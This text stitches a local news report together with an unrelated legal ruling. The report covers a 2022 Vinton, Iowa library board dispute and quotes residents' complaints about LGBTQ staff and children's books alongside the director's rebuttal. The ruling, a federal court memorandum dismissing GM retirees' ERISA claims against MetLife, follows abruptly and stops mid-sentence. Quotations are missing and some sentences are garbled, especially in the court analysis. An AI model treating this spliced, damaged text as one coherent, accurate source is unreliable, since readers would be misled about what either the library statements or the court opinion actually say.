member also stated that the terms "harassing or discriminating" left it open to interpretation unlike the use of the words, "profane, obscene or slanderous language" which are specific and used in the city bylaws. The member cited the ACLU's (American Civil Liberties Union) stand which discourages this language as too restrictive to the first amendment. The board will consult the city attorney on the topic. Greenlee said that the added language is needed to protect her staff from comments made about them. Other Board members believed that public employees have their own protection from harassment. Another member questioned if the board to go into closed sessions to discuss topics like these, and the Iowa law which can be seen here was read. All of the statements made to the board and from the board cited in the above story can be seen below. --- Video of the April meeting can be seen here. Kruckenberg, Hesson and Greenlee statements are below. Kruckenberg's March Statement to the Board: "My name is Brooke Kruckenberg. My husband, Dan, and I have 4 daughters ages 6, 5, 4, and 2. Dan and I are both natives of Vinton and are excited to raise our daughters in the same town that we grew up in. Over the years I have frequented the Vinton Public Library with our girls to check out books for school and leisure, borrow movies, attend story time and even grab the occasional "leisure read" for myself. The girls always look forward to going to the library. After reading through the Vinton Public Library's website, I found the roles of a library board member are clearly stated as "making sure the community's needs and interests are paramount when making board decisions", "determine whether the community is satisfied with the service received from the library", and "regularly evaluates the director to make sure the library operates well and in the best interest of those the library serves." As a member of this community, I want to express my concerns of where I've observed the direction of our public library heading over the past couple of years. It appears that there is a slow, quiet agenda moving into our local library culture through the staff hiring decisions and the books that have crept into our children's section of the library. I don't believe the library is representing our town well with hiring a majority of staff who are openly a part of the LGBTQ community. Although I am not here to ask you to remove anyone from their staffing positions, I would strongly encourage you to listen to the families, like ourselves, who are distancing themselves from the liberal agenda that seems to be happening at the library., Facebook posts and the question of non-gender bathrooms being considered on tonight's agenda. I have spoken with members and parents of this community who have recently decided to step back from supporting the library in the various activities and some even discontinuing borrowing books from the library all together due to the staffing decisions as well as the liberal books that are on the shelves - particularly in the children's section. I am not asking that any books be banned or even removed from the library. However, I do ask that there would a consideration for the books to be balanced on the shelves. For every book that is on display with a topic from the left side of the political aisle, I would ask that there is a book on display with a topic from the right side. For every book on display with a topic of becoming a transgender, I would ask that there is a book on display that discusses how God created and designed people as either male or female from birth, for life. I fear that by continuing down this path of slowly bringing propaganda into our library, we will soon be having programs here in our local library that are geared towards influencing our children to accept and engage in the culture that our world is so eager to invite them into. One solution I see to keeping the children's programming in check is to have a list of books provided each month that will be read during the upcoming weeks in story time. This would give parents the opportunity to know what content will be presented prior to bringing their children to story time and allow the parents the discretion if they would like to attend based on their social views. The public library used to be a neutral place for an individual or families to go to check out books of their choice without having propaganda, opinions or political views - either liberal or conservative - pushed on them. I do not feel as though the Vinton Public Library is this place anymore and would ask that the staff and board consider the community values of Vinton. I would encourage the board to do their due diligence by beginning to reach out to members of this town and ask their opinions, values, and expectations of our public library. I fear that if we continue to go down the path that we are currently taking there will be less and less patrons visiting the library and our community will suffer because of it." Hesson's statement: "Wednesday, April 13, 2022 I'm Deb Hesson. I am a mother, grandma, and a resident of Vinton. I appreciate that Vinton is able to have a Public Library. Thank you for your time in allowing me to speak to you. I'm here to follow up to last month's board meeting. The item is on the agenda tonight and the decision that is made regarding our 2 requests is of great importance to myself and others that are here tonight. There were two requests that we brought to you last month. I want to reiterate what was said last month during the community comments. Our intention is NOT to have any change in personnel at this public library, or to ban any books, or book displays. One of our concerns is a potential imbalance of book perspectives on display in the Children's library section. We are requesting that there be a balance of books on display which include an equal representation of viewpoints on gender-related topics. For instance, if there are books highlighting the LGBTQ lifestyle on display, we also believe that there should equally be books on display representing the more traditional lifestyle of a man portrayed as dad, and a woman being portrayed as mom on display, as well as books that have the Christian view that God is the creator of male & female at conception. Our 2nd request, which is the item for discussion on the agenda tonight, is concerning the programming of the Children's Story Time and Children's special events. Last month we requested, that the name of the book(s) that will be used for elementary activities, be shared with the community ahead of each scheduled session. I'd like you to consider why we feel this request is appropriate. If we were to take our children to the movie theater, we would know the title of the movie ahead of time. If we wanted to know more about it, we could read reviews, watch a trailer on the movie, or we could even go to the movie ahead of time and watch the entire movie. We would have the opportunity to make an informed decision as to whether we felt this was an appropriate movie for our children. If we have a question about an event or curriculum in our child's school, we have the right to talk to the teacher or school about our question and gather the information needed. We would have the opportunity to decide if we are comfortable with our children participating in the event we are asking about. We feel that books are a valuable tool used for teaching our children. There are a variety of perspectives in our community on the topic of gender values, origin of creation, and many other social topics. We understand that this is a Public library. One that is funded by our public dollars. We understand that because of this, the library is to offer a wide variety of genre. As adults who visit the library with our children, we have the authority and responsibility to decide what books our children check out. We don't mind browsing through a variety of books with a variety of topics and viewpoints. We are able to select books based on our individual values, belief system, and interests of our children. When adults bring their children to the Public Library during Story Time or other special activities, we simply want families to have the opportunity to be able to discern ahead of time whether or not the books that are to be read, or the activity that is to be shared, or the special visitor that comes to share with our children, corresponds with values of each family, regardless of their personal views. From February-June on the Vinton Library's Website, The Calendar for Preschool Storytime states very generically what the program entails. For each date, with the exception on one special activity for kids, the information is exactly the same. It reads: Preschool Storytime Tuesdays at 10am Geared toward children 2-6 years old, this storytime will include fun stories, songs, and rhymes! Our request: We would like to know the title of the book(s) being shared on each designated day. April 12- Special Storytime by Library for the Blind Denise Bean, Youth Services Librarian from the Iowa Library for the Blind and Print Disabled, will lead an interactive storytime for children of all abilities! Our Request: We would like to know the title of book(s) being shared. In the same manner, the program "Steam for Kids" for each session reads: STEAM for Kids Mondays at 3:30pm School-aged kids are invited to participate in science, math, art, and engineering activities! I'm confident that your staff puts a lot of thought and preparation into these sessions, and that children enjoy participating in them. Our request: We would like to know the book/s being shared. I was an elementary school teacher for 30 years. I was required to have in-depth lesson plans for each topic I taught, which included the text that was to be used, the objective/goals, and how I would carry out the lesson plans and how I would know my goal was achieved. I'm confident that you also make plans for each story time session and special activities for our elementary children well in advance. Our intent is not to make more work for the staff. A simple title of the book that is to be read or used during times with elementary children is sufficient. This will allow patrons of Vinton to do their own research and decide for themselves if this is a session they wish to bring their children to, or like the movies, simply wait for another opportunity down the road. We feel our requests are simple ones. One, a Public Library, should have a balance of books that portray a variety of views on any given topic, so we are simply asking for this. Second, the Public Library should be a place where the library works with the families in the community. The Patrons of our community have the right to decide what they want their children to read or have read to them. So we are simply asking for this information ahead of time. In closing, as you discuss these requests, I'd like you to consider 2 questions; 1) "Why would a Public Library not be willing to have a balance of books on the shelves? 2) Why would a Public Library not be willing to publish ahead of time the names of books, materials, or special visitors that will be used with children during Story Time or Special Children's Activities? Thank you for your time. If you have any questions from me, I would be happy to answer them." Greenlee's response shared in April: "First, I will address Ms. Kruckenberg's complaints about the staff. Ms. Kruckenberg stated that the library doesn't represent the town well due to the "majority of staff who are openly a part of the LGBTQ community". She also went on to complain about the "cross-dressing of employees". Though Ms. Kruckenberg stated that she does not ask for staff to be removed, this veiled statement demonstrates otherwise. The words in this statement are discriminatory, hurtful, and serve to undermine the integrity of my staff, which is completely unacceptable. Due to this statement, I have instructed my staff to immediately let me know if they feel unsafe, threatened, harassed, or discriminated against by a library patron so I can handle the situation as effectively as possible." The City of Vinton is an Equal Opportunity Employer which means that we hire regardless of race, ethnicity, gender, sexual orientation, religious background, and more. It is illegal for an employer to ask about or discriminate based on these qualities. The staff at the library were hired due to their abilities to work effectively within their roles, and they prove their abilities to me everyday in the ways they work with our patrons and with each other. Title VII of the Civil Rights Act of 1964 clearly explains protections against employment discrimination based on sexual orientation or gender identity. The U.S. Equal Opportunity Employment Commission states, "It is unlawful for an employer to create or tolerate such harassment based on sexual orientation or gender identity. Further, if an employee reports such harassment by a customer or client, the employer must take steps to stop the harassment and prevent it from happening again." Therefore, it is my job to make sure discriminatory comments, such as those in Ms. Kruckenberg's statement, don't happen again. Title VII protects employees from other discrimination regarding sexual orientation and gender identity as well. Employees have the right to dress consistently with their gender identity without discrimination. Additionally, employers are "not allowed to fire, refuse to hire, or take assignments away from someone (or discriminate in any other way) because customers or clients would prefer to work with people who have a different sexual orientation or gender identity. Employers also are not allowed to segregate employees based on actual or perceived customer preferences. (For example, it would be discriminatory to keep LGBTQ+ employees out of public-facing positions, or to direct these employees toward certaingeographic areas.)" Based on these federal protections against employee sex and gender discrimination, I hope this will be a non-issue moving forward to avoid legal actions for anyone involved. Next, I will address the part of the statement that accuses the library of having an LGBTQ agenda and a liberal agenda based on our staff and the books we carry and display. The truth is that public libraries, including Vinton Public Library, do not have agendas. Rather, they serve a purpose. Our library recently created a Mission Statement that summarizes what our purpose is in the community. "Vinton Public Library is a bridge to our community, providing a safe, welcoming space for all community members, access to free informational resources, and connections to help our residents thrive." Let's consider the first part of that statement. Our library provides a safe, welcoming space for all community members. The statement does not say some community members, but all, including our Black, Indigenous, and People of Color residents, our homeless residents, our low-income residents, our Jewish, Muslim, and Atheist residents, and our LGBTQ+ residents. All are welcome at the library and deserve a place to feel safe. Now, let's think about the second part regarding access to free informational resources. This is a significant part of the library's mission and includes access to information that serves all members of the community. A public library does not have an obligation to provide a ratio of materials based on the percentages of groups in the community, nor should it because that would result in a biased collection. Rather, a public library provides a wide variety of materials that reflect the backgrounds and interests of everyone not only in the community, but in the broader world as well. Public libraries across America, including Vinton Public Library, endorse the American Library Association's Library Bill of Rights and the Freedom to Read Statement. The Library Bill of Rights states. The Freedom to Read statement begins with these words: arise." For our library to be accredited by the State Library of Iowa, one of the required public library standards is to have a Collection Development Policy that is "consistent with principles of intellectual freedom as found in such documents as the U.S. Constitution, the American Library Association Intellectual Freedom Manual, and the Iowa Library Association Intellectual Freedom Resource Guide." This accreditation standard is just one of the important reasons our library develops our collection applying the Library Bill of Rights and Freedom to Read values. In Ms. Kruckenberg's statement, she mentioned concerns about the children's collection at the library, particularly with "liberal books", LGBTQ books, "propaganda", and books with a topic of "becoming a transgender". Ms. Kruckenberg requested that "for every book on display with a topic of becoming a transgender, I would ask that there is a book on display that discusses how God created and designed people as either male or female from birth, for life". I recently conducted a diversity audit of the children's collection including picture books, early readers, board books, juvenile fiction, and juvenile nonfiction. When books are cataloged, the records include Library of Congress Subject Headings that assist searchers in finding books of interest. A diversity audit is an inventory of a library's collection that helps determine representation of underserved groups. This diversity audit used subject headings that Ms. Kruckenberg called into question. Of the 5,779 children's materials our library holds, 3 books had a subject heading of "LGBT", 2 books had a subject heading of "gay", 0 books had "lesbian", 0 books had "bisexual", 2 had "transgender", and 0 had "nonbinary". In our children's collection, 9 books had a subject heading of "Christianity", 12 had the subject heading of "Christian", 6 had "God" (in the Christian sense), 3 had "Jesus", and 1 had "Church". These numbers were adjusted for books that may have more than one subject heading so that they were not counted twice. There were also 142 children's books that had a subject heading about a Christian holiday. Altogether, our collection has 173 children's books based on Christian life. If the library were to do as Ms. Kruckenberg asked regarding the 1:1 display of books about transgender people to God-approved cisgender people, this would result in biased displays. To be equitable, we would also need to display books with multiple religious and non-religious views of gender, including Christian denominations and other religions that are inclusive of transgender people. And if we continue down this rabbit hole, we would also need to significantly increase our holdings of children's books about different religions in general since we only have 5 about Muslim life, 16 about Jewish life, 0 about Buddhist life, 0 about Hindu life, and 0 about Atheist life. The purpose of library displays is not to provide a 1:1 ratio of Christian books versus non-Christian books. Rather, our library displays offer books on a wide variety of topics and a multitude of life experiences to meet the informational and entertainment needs and wants of the diverse community that exists in Vinton. Ms. Kruckenberg also stated that "one solution I see to keeping the children's programming in check is to have a list of books provided each month that will be read during the upcoming weeks in storytime". The responsibility for all programming in this library lies with me as the director, and I have witnessed nothing that indicates our children's storytimes need to be kept in check. Public librarians are trained to assess, seek out, and provide access to a diverse selection of quality literature. We regularly use a wide variety of professional reviews and journals to aid in our selection process, and are careful to select books that are highly recommended for their literary, informational, and entertainment qualities. Librarians use the same training to select books for storytime. Our children's librarian, Colton, is certified as a Youth Services librarian by the State Library of Iowa, and he has attended youth-specific conferences and trainings that have developed his skills with children's programming. When Colton chooses storytime books, they have engaging stories, eye-catching illustrations, and reflect different life experiences, languages, and characters. The American Library Association states that "Socially excluded, marginalized, and underrepresented people, not just the mainstream majority, should be able to see themselves reflected in the resources and programs that libraries offer." In our library, storytime materials are planned out with a very short lead time. We do not plan out a month ahead and often choose a selection of books the week before. Librarians tend to choose 3-5 books that they might read at each storytime and adjust what they actually read based on age of attendees, participant engagement, program flow, and time constraints. Due to these circumstances, the 2 or 3 books a librarian intends to read may switch to 1 or 2 different books to accommodate the rapidly changing environment of a storytime. Storytime is an art, and it would go against best practice for a librarian to commit to reading a particular set of books without the possibility of backup books. Based on the underlying context of Ms. Kruckenberg's statement, a preview storytime list may result in censorship actions, possibly leading community members to think there are "bad" or "immoral" books at storytime. Publishing preview lists on social media could potentially lead to negative commentary that might inhibit the intellectual freedom of others to make their own judgments if they attended that storytime. Therefore, posting or publishing preview lists would not be an acceptable occurrence at a public library. When benchmarking with other Iowa libraries, I found no other libraries that post preview storytime lists, either. If Ms. Kruckenberg would like to email me the Friday before storytime to personally request the list of possible books to be read the following Tuesday, I would be willing to respond to the request. Again, the understanding needs to remain that those books could change due to staffing or other programming circumstances. Otherwise, another option would be to attend storytime and listen to only the books she approves of for her children. Finally, the question of a community survey was brought up. Public libraries regularly distribute surveys to their communities. These questions usually focus on frequency of attendance at the library, accessibility issues, underserved populations and their needs, library services, reasons why people use the library and potential barriers to using the library, programming opportunities, and library-specific questions. These questions do not address content of materials at the library, they do not address library staff, and they do not address views on appropriateness of programs. Questions must be non-leading and surveys must be relatively short or people will not take the time to respond. Knowing these basic properties of a library survey, I believe the discussion about survey content needs to begin with library staff who, based on what we observe on a daily basis, come up with questions that would be beneficial to ask. I will also reach out to other library directors to benchmark possible questions with ones that have produced helpful results in their surveys. At that point, I could bring the survey to the board for feedback and other suggestions until the survey is ready to be distributed. The planning, implementation, and coding processes will take some time, so I would like to begin work on a survey in August since the Summer Reading Program will be my top priority in the coming months. I will conclude this response with this thought. When I say that everyone is welcome at the library, I mean it, as long as each employee and patron is respected. I very much wish that every community member could be happy with all aspects of the library, but I have been in libraries long enough to know that is not realistic. Anecdotally, there have been many patron comments that have been positive about materials, programming, the library being a welcoming place, and more. While I hope Ms. Kruckenberg and others in the group will continue to use the library, I understand if they do not feel comfortable to do so. I will continue to run the library in a way that is inclusive of every community member regardless of their background, always using American Library Association values as my guide." Please refresh the page to leave Comment. Still seeing this message? Press Ctrl + F5 to do a "Hard Refresh". Editor’s note: feel free to send what you have but I believe the letter is complete as posted…at the bottom of the article In an age where many politicians on the right would love to ban any and all books they deem “dangerous” we absolutely can not give up our fight against censorship, hatred and bigotry. Conservatives always have a boogeyman for their base to fear. The hot ones currently are critical race theory, and lgbtq+ issues.

MEMORANDUM AND ORDER GRANTING DEFENDANT'S MOTION TO DISMISS FIRST AMENDED COMPLAINT (Doc. 21) AND DISMISSING CASE TABLE OF CONTENTS I. Introduction 1 II. Background 2 A. The Plan and MetLife's Role 2 B. GM's Bankruptcy and the Cap on Life Insurance Benefits 4 C. This Case 6 III. Motion to Dismiss 7 IV. Analysis 8 A. State Law Claims - Complete Preemption 8 B. State Law Claims - Express Preemption 10 C. State Law Claims -Failure to State a Claim 11 1. Count VII - Statutory Conversion 12 2. Count VIII - Unjust Enrichment 12 3. Count IX - Breach of Contract 13 4. Count X - Negligent Misrepresentation 13 5. Count XI - Uniform Trade Practices Act 14 D. ERISA Claims 15 1. MetLife Did Not Reduce the Continuing Life Insurance Benefit 16 2. MetLife's Notice Letters Cannot Create ERISA Liability 16 3. The Notice Letters Did Not Contain False Statements 21 4. MetLife Had No Duty to Disclose that Continuing Life Insurance Benefits Were Subject to GM's Periodic Payment of Premiums to MetLife 22 5. ERISA Does not Authorize Compensatory or Consequential Damages 24 6. Count III - ERISA § 502(a)(2), 29 U.S.C. § 1132(a)(2) 24 7. Counts IV, V, and VI - ERISA § 502(a)(3), 29 U.S.C. §1132(a)(3) 24 a. Count IV - Declaratory Judgment 25 b. Count V - Unjust Enrichment/Disgorgement 26 c. Count VI - Constructive Trust 27 8. Res Judicata/Collateral Estoppel 28 E. Plaintiffs' Remaining Arguments 29 V. Conclusion 32 I. Introduction This case seeks "continuing life insurance benefits." Plaintiffs are Merrill Haviland and forty-two other individuals1 who are past employees of General Motors Corporation (GM) and participants in the Life and Disability Plan (Plan). The Plan is governed by the Employee Retirement Income Security Act, 29 U.S.C. § 1001, et seq. (ERISA). Broadly stated, plaintiffs contend that the Plan guarantees them continuing life insurance benefits when they retired from GM with ten (10) or more years of participation in the Plan. As will be explained, GM, as part of its 2009 reorganization, amended the Plan to reduce the continuing life insurance benefit to $10,000.00 for each retiree-plaintiff. Plaintiffs have sued defendant Metropolitan Life Insurance Company (MetLife), claiming that MetLife, the provider of a life insurance policy to the Plan, sent "notice letters" to plaintiffs in the 1980s or 1990s in which they say MetLife guaranteed the "life time" nature of the benefit to plaintiffs and its failure to honor that benefit is grounds for suit. The First Amended Complaint (FAC) purports to assert six claims under ERISA (Counts I-VI) and five claims under state law (Counts VII-XI), phrased by plaintiffs as follows: Count I Promissory Estoppel Count II Breach of the Terms of the Plan Count III Breach of Fiduciary Duty Pursuant to 29 U.S.C. § 1132(a)(1) Count IV Declaratory Judgment Pursuant to 29 U.S.C. § 1132(a)(3) Count V Unjust Enrichment Pursuant to 29 U.S.C. § 1132(a)(3) Count VI Equitable Restitution Pursuant to 29 U.S.C. § 1132(a)(3) Count VII Conversion Count VIII Unjust Enrichment Count IX Breach of Contract Count X Negligent Misrepresentation Count XI Violation of the Michigan Consumer Protection Act Plaintiffs seek damages, various forms of equitable relief, and demand a jury trial. MetLife contends that the FAC should be dismissed because (1) plaintiffs' state law claims are in reality claims for ERISA plan benefits and therefore preempted, (2) the FAC fails to state any viable ERISA claim, (3) even if the state law claims are not preempted, they do not state viable claims for relief. For the reasons that follow, the motion will be granted. II. Background A. The Plan and MetLife's Role Many years ago, GM established the Plan, an ERISA-governed "welfare benefits" plan. The Plan provided for, among other things, a life insurance benefit. Specifically, a review of the various versions of the Plan, the summary plan descriptions (SPDs), and notice letters, which are in the record, display the following: 1. GM is the employer and plan sponsor of the Plan. 2. The Plan provided its salaried employees with certain benefits, including a "basic" or "continuing" life insurance benefit" (hereafter, "continuing life insurance benefit"). The continuing life insurance benefit provided employees with an amount of life insurance while they were employed by GM. After salaried employees retired, the continuing life insurance benefit automatically began to reduce by predetermined amounts until it reached a predetermined level. 3. In order to provide the continuing life insurance benefit provided under the Plan, GM purchased for the Plan a group term life insurance policy from MetLife. MetLife's obligation to pay claims for continuing life insurance benefits was conditioned on GM making periodic payments of group life insurance premiums. 4. The Plan grants MetLife (named as "Carrier" in the Plan) with discretion to interpret the Plan and to determine eligibility and entitlement to Plan benefits. The Plan does not give MetLife authority to change the Plan or the amount of the continuing life insurance benefits to which retirees are entitled. 5. The Plan called for retirees to receive one or more notices concerning the automatic reductions in their continuing life insurance benefit. Based on the the Plan, and at GM's direction, MetLife sent notices to GM's retirees in letter format dictated by GM. 6. The notice letters describe the continuing life insurance benefits using plan terminology and plan terms/conditions ("Continuing Life Insurance after Age 65 for Retirees with 10 or More Years of Participation") and/or by direct reference to GM's life insurance programs ("Continuing Life Insurance Under the Provisions of the General Motors Life and Disability Benefits Program for Retirees with 10 or More Years of Participation"); ("Under the provisions of the General Motors Insurance Program."). The letters, consistent with the language of the Plan as then in effect, stated that the amount of the continuing life insurance benefit identified in the letter would continue for the retiree's lifetime 7. The Plan and the SPDs issued regarding the Plan reserve unto GM the sole right to change all welfare benefits provided to retirees at any time, including but not limited to the continuing life insurance benefit. Examples of this language include the following: - "The Corporation, as the Program Administrator shall be responsible for the administration of the Program and reserves the right to amend, modify, suspend or terminate the Program in whole or in part, at any time." - "General Motors Corporation reserves the right to amend, change or terminate the plans and programs described in this booklet." - "General Motors Corporation reserves the right to amend, change, or terminate the Plans and Programs described in this booklet. The Plans and Programs can be amended only in writing by an appropriate committee or individual as expressly authorized by the Board of Directors. No other oral or written statements can change the terms of a benefit Plan or Program." B. GM's Bankruptcy and the Cap on Life Insurance Benefits In late 2008, the United States Treasury Department loaned more than $13 billion to GM to prevent GM's financial collapse. The loan agreement started a joint effort by the White House, the Treasury Department, and GM to create a plan to save the automaker. Among the issues concerning the federal government which GM had to address was the level and associated costs of retiree benefits. After the White House and Treasury rejected GM's initial restructuring plan, the parties eventually developed a plan that they intended to be effectuated through the filing of a voluntary petition for bankruptcy under Chapter 11 of the Bankruptcy Code. The plan called for a new company, new GM, to purchase with Treasury funds certain assets of the old GM. On June 1, 2009, GM filed for bankruptcy and moved in the bankruptcy court to approve a Master Sale and Purchase Agreement with Vehicle Acquisition Holdings LLC, A U.S. Treasury-Sponsored Purchaser. The same day, an attorney for the General Motors Retiree Association (the GMRA) entered his appearance. The GMRA requested that the bankruptcy court appoint an "official committee" under 11 U.S.C. § 1114(d) "to represent [] retirees, spouses and survivors regarding their protected benefits." The basis for this request was that the bankruptcy proceedings directly would impact, among other things, the life insurance benefits GM provided to its salaried retirees. GM and its affiliated debtors (the Debtors) objected to the GMRA's request, which was ultimately denied without prejudice. The bankruptcy court approved the Amended and Restated Master Sale and Purchase Agreement (the MPA), which effectuated the sale and transition of assets from the Debtors to New GM. This order overruled existing objections to the MPA and stated that "[t]he MPA, all transactions contemplated thereby, and all the terms and conditions thereof (subject to any modifications contained herein) are approved." Among the items the bankruptcy court approved was GM's reduction of the retirees' continuing life insurance benefits to $10,000.00 The MPA in relevant part states as follows: Purchaser's obligations to assume benefit plans and to maintain compensation and benefits for one year contemplate the aggregate reduction of the total benefit obligations under Assumed Plans related to Salaried Retiree Life Insurance . . . Executive Retiree Life Insurance and hourly (non-UAW) Life Insurance and Health Care plans by approximately two-thirds, as compared to the obligations of Parent as determined as of 12/31/08. The changes in salaried retiree benefits being implemented for achieving this are identified as follows: - Retiree Basic Life Insurance for salaried classified and executive retirees reduced to $10,000 effective the first of the month following the Closing Date[.] The bankruptcy court further held that "[t]his Order and the MPA shall be binding in all respects upon the Debtors, their affiliates, all known and unknown creditors of . . . any Debtor. . . ." The order further provided that "[e]xcept for the Assumed Liabilities . . . the Purchaser shall have no liability or responsibility for any liability or other obligation of the Sellers arising under or related to the Purchased Assets." The bankruptcy court retained jurisdiction to enforce the terms the order and the MPA. Various GM retirees filed individual objections and proofs of claim with respect to ERISA benefits - including life insurance coverage - to which the retirees believed they were entitled. The bankruptcy court, however, sustained the Debtors' objections to the retirees' proofs of claim and requests. The bankruptcy court found that without approval of the MPA (to which the retirees, among others, had objected), the retirees and other interested parties "would receive nothing," explaining: GM cannot survive with its continuing losses and associated loss of liquidity, and without the governmental funding that will expire in a matter of days. And there are no options to this sale . . .. In re General Motors Corp., 407 B.R. 463, 474, 481 (Bankr. S.D.N.Y. 2009). Following GM's decision to lower the continuing life insurance benefit amounts to $10,000, GM began paying a lower premium for the group term life insurance it purchased from MetLife. C. This Case In July 2011, plaintiffs filed a complaint in state court, alleging only state law claims. MetLife removed the action to federal court on the grounds that it was preempted by ERISA. MetLife alternatively argued that federal jurisdiction existed under the Class Action Fairness Act. Plaintiffs did not move to remand. On September 16, 2011, MetLife moved to dismiss the complaint. (Doc. 7). Plaintiffs filed an opposition and sought leave to amend the complaint. MetLife did not oppose the motion to amend; the Court granted the motion. Plaintiffs then filed the FAC on December 14, 2011 (Doc. 20) which MetLife has moved to dismiss (Doc. 21). III. Motion to Dismiss A motion to dismiss under Fed. R. Civ. P. 12(b)(6) tests the sufficiency of aAss). Moreover, "[o]nly a complaint that states a plausible claim for relief survives a motion to dismiss." Id. at 679. Thus, . In sum, "[t]o survive a motion to dismiss, a complaint must contain sufficient factual matter, accepted as true, to state a claim for relief that is plausible on its face." Id. at 678 (internal quotation marks and citation omitted). In ruling on a motion to dismiss, the Court may consider the complaint as well as (1) documents referenced in the pleadings and central to plaintiff's claims, (2) matters of which a court may properly take notice, (3) public documents, and (4) letter decisions of government agencies may be appended to a motion to dismiss. Tellabs, Inc. v. Makor Issues & Rights, Ltd., 551 U.S. 308, 127 S.Ct. 2499, 2509 (2007). Here, the Court has considered documents which are referenced in the FAC and central to plaintiffs' claims. These include the Plan, various other Plan related documents, MetLife documents, and government documents related to GM's bankruptcy. IV. Analysis A. State Law Claims - Complete Preemption MetLife first contends that the plaintiffs' state law claims are completely preempted by the "comprehensive civil enforcement scheme" in ERISA § 502(a), 29 U.S.C. § 1132(a). See Pilot Life Ins. Co. v. Dedeaux, 481 U.S. 41, 54 (1987). The Court agrees. "This integrated enforcement mechanism . . . is a distinctive feature of ERISA, and essential to accomplish Congress' purpose of creating a comprehensive statute for the regulation of employee benefit plans." preempted." Id. at 209; see also Hutchison v. Fifth Third Bank, 469 F.3d 583, 588 (6th Cir. 2006) ("As in Davila, it does not matter whether plaintiffs cite a different body of law to support their cause of action (state tort or contract law []) or whether the relief that plaintiffs seek is different from the relief that ERISA affords (damages for personal injury or breach of contract versus plan benefits under ERISA)."); Smith v. Provident Bank, 170 F.3d 609, 613 (6th Cir. 1999) (holding that "it is the nature of the claim . . . that determines whether ERISA applies, not whether the [ERISA] claim will succeed"). While plaintiffs characterize their state law claims with various labels, what plaintiffs allege are claims for benefits and/or for clarification of plaintiffs' rights to benefits under the Plan. In either circumstance, the claims fall squarely under 29 U.S.C. § 1132(a)(1)(B). First, the FAC alleges as the state law claims, that the allegations supporting their ERISA claims are incorporated. The ERISA claim allegations include (1) that the Plan is an ERISA which provides the continuing life insurance benefit, (2) that plaintiffs are former employees of GM who are eligible for the continuing life insurance benefits under the Plan and are "participants" in the Plan, (3) that MetLife provided the group life insurance policy funding the Plan, (4) that GM paid the premiums for the policy; and that MetLife as fiduciary determined eligibility for continuing life insurance benefits. Additional allegations within the state law counts make clear that plaintiffs are attempting to secure ERISA-governed continuing life insurance benefits via state law. See, e.g., FAC at ¶¶ 66, 99, 103, 106, 109, 110, 113. These allegations bring this action within the parameters of ERISA. Thus, plaintiffs' state law claims are completely preempted. Plaintiffs, however, argues that their state law claims are not completely preempted "to the extent that Defendant MetLife is not found to have discretionary authority [i.e. a fiduciary] with respect to the management or administration of the Plan and/or any control over assets of the Plan." FAC at ¶ 100, 107, 118. This contention lacks merit. Complete preemption under ERISA does not depend on whether MetLife is an ERISA fiduciary. Metro. Life Ins. Co. v. Taylor, 481 U.S. 58, 64-65 (1987). Rather, it turns on the status of plaintiffs as participants or beneficiaries under the Plan and the nature of the claims and relief sought by plaintiffs. Plaintiffs cite no authority for the proposition that complete preemption should be determined according to a defendant's fiduciary status. Overall, plaintiffs' state law claims are claims for benefits under an ERISA plan. They are subject to complete preemption. B. State Law Claims - Express Preemption MetLife also argues that plaintiffs' state law claims are expressly preempted by ERISA. The Court agrees. ERISA's express preemption provision, 29 U.S.C. § 1144(a), states in relevant part that ERISA "shall supersede any and all State laws insofar as they may now or hereafter relate to any employee benefit plan. . . ." This provision is "conspicuous for its breadth" and the "deliberately expansive" language Congress enacted. Ingersoll-Rand Co. v. McClendon, 498 U.S. 133, 138 (1990) (citations omitted). The Supreme Court has held that "[t]he key to § 514(a) is found in the words 'relate to.' Congress used those words in their broad sense . . . '[a] law relates to an employee benefit plan, in the normal sense of the phrase, if it has a connection with or reference to such a plan.'" Id. at 138-39 (citations omitted). The Sixth Circuit has stated that it is "axiomatic" "that Congress intended ERISA to have the broadest possible preemptive effect." Lion's Volunteer Blind Indus., Inc. v. Automated Group Admin., Inc., 195 F.3d 803, 807 (6th Cir. 1999); see also Cromwell v. Equicor-Equitable HCA Corp., 944 F.2d 1272, 1276 (6th Cir. 1991) (holding that "virtually all state law claims relating to an employee benefit plan are preempted by ERISA"). Indeed, if a state law claim alters "employee benefit structures[,]" "provide[s] alternative enforcement mechanisms" or "bind[s] employers or plan administrators to particular choices" the claim is preempted. Loffredo v. Daimler AG, No. 10-14181, No. 10-14214, 2011 WL 2262389 (E.D. Mich. June 6, 2011). Again, regardless of the label, plaintiffs' state law claims relate to and ultimately seek continuing life insurance benefits that are governed by the Plan. ERISA prevents the use of such "alternative enforcement mechanisms" and courts have found similar state law claims seeking ERISA benefits preempted. See Cromwell, 944 F.2d at 1275-76 (breach of contract, negligent misrepresentation claims preempted); Nester v. Allegiance Healthcare Corp., 315 F.3d 610, 613 (6th Cir. 2003) (contract claim preempted); Lion's Volunteer, 195 F.3d at 809 (misrepresentation claim preempted); Hardy v. Midland Enters., Inc., 66 Fed. Appx. 535, 539 (6th Cir. 2003) (claims for compensatory damages, punitive damages, misrepresentation preempted); Zuniga v. Blue Cross Blue Shield of Michigan, 52 F.3d 1395, 1401-02 (6th Cir. 1995) (breach of contract based on interpretation of "the Chrysler and Ford employee benefit plans" preempted); Briscoe v. Fine, 444 F.3d 478, 496-501 (6th Cir. 2006) (misrepresentation, fraud, concealment and conversion preempted); Tassinare v. Am. Nat'l Ins. Co., 32 F.3d 220, 224-25 (6th Cir. 1994) (contract claims preempted); Caffey v. Unum Life Ins. Co., 302 F.3d 576, 582 (6th Cir. 2002) (fraud and negligence claims preempted). See also Loffredo, supra (holding that plaintiffs,' retired executives of the Chrysler Corporation, state law claims for promissory estoppel, breach of fiduciary duty, age discrimination, silent fraud, and statutory conversion seeking damages as a result of Chrysler's reductions of their retirement benefits were preempted) C. State Law Claims - Failure to State a Claim MetLife alternatively argues that even if plaintiffs' state law claims are not preempted, they fail to state a claim upon which relief may be granted. Each claim is discussed in turn. 1. Count VII - Statutory Conversion Count VII alleges statutory conversion. "[T]o prevail on a claim for statutory conversion, [] a claimant must [] satisfy the elements of a common law conversion claim" in addition to an "actual knowledge" element. Days Inn Worldwide, Inc. v. Adrian Motel Co., LLC, No. 07-13523, 2009 U.S. Dist. LEXIS 90393, at *66 (E.D. Mich. Sept. 30, 2009). Here, plaintiffs allege that MetLife "converted a portion of each the [sic] Plaintiffs' interests in the continuing life insurance benefits . . . by reducing the amount of continuing life insurance to a mere $10,000." FAC at ¶ 99. This claim fails to state a plausible claim for relief. First, plaintiffs have no current claim to any life insurance or other payments. The life insurance benefits are term life insurance benefits with no cash, loan or paid up value and plaintiffs have not alleged that they entrusted any 